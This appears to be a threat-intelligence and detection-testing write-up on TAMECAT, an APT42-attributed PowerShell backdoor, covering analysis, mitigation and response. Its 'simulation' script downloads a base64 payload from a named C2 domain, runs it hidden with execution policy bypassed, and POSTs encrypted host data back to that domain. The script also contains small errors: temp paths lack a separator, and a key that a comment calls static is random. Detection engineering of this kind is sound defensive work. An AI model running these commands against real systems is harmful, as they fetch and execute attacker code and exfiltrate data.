TAMECAT – Analysis of an Iranian PowerShell-Based Backdoor

Summary

TAMECAT is a PowerShell-based backdoor attributed to the Iran-linked, state-sponsored group APT42 and used for espionage. Delivery begins with a VBScript dropper that conditionally chooses PowerShell or cmd.exe based on detected endpoint security products, then pulls additional components from attacker-controlled hosting domains. The implant uses a Telegram bot for C2 coordination and exfiltrates collected data over HTTPS with custom AES encryption. The campaign primarily targets senior defense and government officials.

Investigation

Researchers examined the initial VBScript dropper, the PowerShell loader (referenced as nconf.txt), and encrypted payload stages. Analysis surfaced heavy command obfuscation, bespoke AES routines, and exfiltration to a glitch.me-hosted domain. The team extracted indicators including malicious URLs, user-agent strings, and filesystem artifacts, and noted TAMECAT’s modular design—allowing it to fetch and execute additional stages on demand.

Mitigation

Use EDR/AV controls that block or constrain script execution, and monitor for wscript.exe spawning powershell.exe or cmd.exe. Enable PowerShell script-block logging and enforce strict execution policies for unsigned scripts. Improve resilience against the initial access vector by training users to recognize phishing and social-engineering tactics.

Response

When TAMECAT indicators are observed, isolate the endpoint, stop malicious PowerShell activity, and collect key artifacts such as config.txt, the loader/config files, and network telemetry. Block associated domains and URLs at proxy/firewall layers, then perform environment-wide hunting for similar PowerShell/VBScript tradecraft and related IOCs.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Recon & C2 Discovery: The attacker runs a PowerShell one‑liner that resolves the malicious domain accurate-sprout-porpoise.glitch.me and initiates a TLS connection to fetch a small configuration file (nconf.txt).
  2. Payload Retrieval: Using Invoke-WebRequest with a custom user‑agent, the attacker downloads the base64‑encoded backdoor script (df32s.txt).
  3. Deobfuscation & Execution: The base64 payload is decoded, saved to %TEMP%tamecat.ps1, and executed via powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden.
  4. Lateral Movement: The backdoor employs WMI (winrm) to spawn a remote process on a neighboring host, demonstrating T1047.
  5. Data Staging & Exfiltration: System information (hostname, OS version) is collected, AES‑encrypted, and posted back to s3.tebi.io/icestorage/df32s.txt.

• Regression Test Script:

  # ------------------------------------------------------------
  # TAMECAT C2 Communication & Data Exfiltration Simulation
  # ------------------------------------------------------------
  
  # 1. Resolve malicious domain (C2)
  $c2Domain = "accurate-sprout-porpoise.glitch.me"
  $c2Ip = [System.Net.Dns]::GetHostAddresses($c2Domain)[0].IPAddressToString
  Write-Host "[*] Resolved C2 domain to $c2Ip"
  
  # 2. Fetch configuration (simulated)
  $configUrl = "https://$c2Domain/s3.tebi.io/icestorage/config/nconf.txt"
  try {
      $config = Invoke-WebRequest -Uri $configUrl -UseBasicParsing -Headers @{ "User-Agent" = "Mozilla/5.0" }
      Write-Host "[*] Config downloaded (`$($config.Content.Length)` bytes)"
  } catch {
      Write-Error "Failed to fetch config: $_"
      exit 1
  }
  
  # 3. Retrieve the base64‑encoded payload
  $payloadUrl = "https://$c2Domain/s3.tebi.io/icestorage/df32s.txt"
  $b64Payload = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing -Headers @{ "User-Agent" = "Mozilla/5.0" }
  $payloadBytes = [Convert]::FromBase64String($b64Payload.Content)
  
  # 4. Save & execute payload
  $payloadPath = "$env:TEMPtamecat.ps1"
  [IO.File]::WriteAllBytes($payloadPath, $payloadBytes)
  Write-Host "[*] Payload written to $payloadPath"
  
  # Execute hidden
  Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File `"$payloadPath`"" -WindowStyle Hidden
  
  # 5. Simulate data collection & exfiltration
  $sysInfo = @{
      Hostname = $env:COMPUTERNAME
      OS       = (Get-CimInstance Win32_OperatingSystem).Caption
  } | ConvertTo-Json
  
  # Encrypt with a static AES key (for demo only)
  $aesKey = (1..32 | ForEach-Object { Get-Random -Maximum 256 })
  $aes = New-Object System.Security.Cryptography.AesManaged
  $aes.Key = $aesKey
  $aes.Mode = 'CBC'
  $aes.GenerateIV()
  $encryptor = $aes.CreateEncryptor()
  $plainBytes = [System.Text.Encoding]::UTF8.GetBytes($sysInfo)
  $cipherBytes = $encryptor.TransformFinalBlock($plainBytes,0,$plainBytes.Length)
  $exfilData = [Convert]::ToBase64String($aes.IV + $cipherBytes)
  
  # POST exfiltrated data back to C2
  $exfilUrl = "https://$c2Domain/s3.tebi.io/icestorage/df32s.txt"
  Invoke-WebRequest -Uri $exfilUrl -Method POST -Body $exfilData -ContentType "application/octet-stream"
  
  Write-Host "[*] Simulation complete. Data exfiltrated to $exfilUrl"

• Cleanup Commands:

  # Remove the temporary payload
  Remove-Item -Path "$env:TEMPtamecat.ps1" -ErrorAction SilentlyContinue
  
  # Flush DNS cache (helps avoid residual entries)
  ipconfig /flushdns
  
  # Stop any lingering hidden PowerShell process started by the payload (if still running)
  Get-Process -Name "powershell" | Where-Object { $_.Path -like "*tamecat.ps1*" } | Stop-Process -Force -ErrorAction SilentlyContinue
  
  Write-Host "[*] Cleanup finished."